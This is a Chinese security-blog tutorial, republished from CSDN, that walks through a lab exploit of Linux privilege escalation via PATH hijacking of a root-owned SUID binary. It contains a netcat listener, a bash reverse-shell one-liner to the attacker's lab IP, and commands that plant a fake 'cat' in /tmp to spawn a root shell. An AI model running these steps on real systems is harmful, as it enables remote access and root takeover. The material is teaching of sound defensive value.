首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - PATH 环境变量劫持提权

  • 25-02-20 14:41
  • 2972
  • 9384
blog.csdn.net

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Linux 环境变量劫持提权原理

环境变量劫持的核心思想是通过篡改环境变量的值,使程序加载恶意的资源或库,从而实现提权或者其他恶意行为。

PATH 是 Linux 和 Unix 操作系统中的一个环境变量,当我们执行一个命令时,Shell 会先尝试检查该命令是否为系统内部命令,如果不是,则会再去检查此命令是否是一个应用程序,Shell 会试着从 PATH 中逐步查找该命令。查看 Linux 中环境变量的命令如下:

 echo $PATH;   # 查看系统环境变量

在前面的章节中我们讲过 Windows 环境变量提权,这里介绍的 Linux 环境变量提权的原理与之类似,但也不完全相同,笔者介绍的主要是对 SUID 提权的一个拓展,即当我们找到一个归属 Root 用户的 SUID 文件,无法直接利用时,可以尝试利用 PATH 环境变量劫持从而达到提权的目的。

看完全文后细品:如果你能推测某个 SUID 文件内部的实现方式,你就可以利用 PATH 环境变量进行劫持提权(成功率奇高)。

0x02:Linux 环境变量劫持提权环境搭建

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0201:创建一个 ”安全“ 的 SUID 文件

首先以 Root 用户登录靶机,在 /home 目录下创建一个 demo.c 文件(假设该文件就是 Root 用户编写的一个辅助运维的脚本,它嫌命令打太长了就写了这个文件了呗),内容如下:

  1.  #include
  2.  void main() {
  3.      setuid(0); // 设置 uid 为 0,规定运行用户为 root
  4.      setgid(0); // 设置 gid 为 0
  5.      system("cat /etc/passwd"); // 管理员很懒,不想输入这行命令
  6.  }

然后将此文件使用 gcc 编译为可执行文件:

 gcc demo.c -o demo

使用如下命令可以尝试进行运行:

 ./demo

如上,运行编译后的程序,显示的就是 /etc/passwd 中的内容。然后,管理员抽风了,给该文件设置了一个 SUID 权限,这么好的脚本不能自己一个人用,要分享出来:

 chmod u+s /home/demo

那么至此,我们的提权环境就搭建好了。

此时我们回忆一下 SUID 提权的方式,这个 demo 程序满足了 Root 创建,且有 SUID 属性,但是它仅仅是执行了使用 cat 命令查看了 /etc/passwd 这个文件的动作,都写死了,是二进制文件,我们该如何利用它进行提权?(你猜猜,猜不透往后看)

0x03:Linux 环境变量劫持提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

 nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

 bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查找 SUID 文件

使用下面的命令,查找 SUID 文件,发现其中没有啥能直接提权的,但是我们定位到了一个可疑的叫 demo 的程序:

 find / -user root -perm -4000 -print 2>/dev/null

运行 /home/demo,发现是查看 /etc/passwd 的命令:

如此,我们可以推测,这个 /home/demo 程序可能采用了 cat 命令来查看 /etc/passwd,那么我们是否可以尝试劫持 cat 命令从而提权呢。

0x0303:劫持系统命令提权

输入下面的命令,在 /tmp 目录下创建一个 cat 命令,并将 /tmp 文件夹临时添加进系统环境变量中:

  1. echo "/bin/bash" > /tmp/cat # 自己创建一个 cat 命令,实际是执行 /bin/bash 命令
  2. chmod 777 /tmp/cat # 为 cat 命令赋予执行权限
  3. ls -al /tmp/cat # 查看 cat 命令权限
  4. echo $PATH # 查看系统环境变量
  5. export PATH=/tmp:$PATH # 将 /tmp 目录添临时加到环境变量的最前面

做完上面的操作后,我们此时再执行 /home/demo 即可完成提权:

/home/demo

我们再来理一下为什么会成功,/home/demo 运行后实际是执行 cat /etc/passwd 命令,但是由于该文件的属主是 Root 又由于其被赋予了 SUID 权限,所以我普通用户在执行它的时候实际就是以 Root 权限执行了 cat /etc/passwd 命令。

那么此时,问题就是,系统是怎么找到 cat 命令的呢?它是通过当前用户的环境变量找到的,而又由于我们前面替换的环境变量,导致其优先找到了我们创建的 cat 命令,最终导致运行 cat /etc/passwd 实际变成了以 Root 身份运行 /bin/bash /etc/passwd 命令,最终导致提权。

Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145521682"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top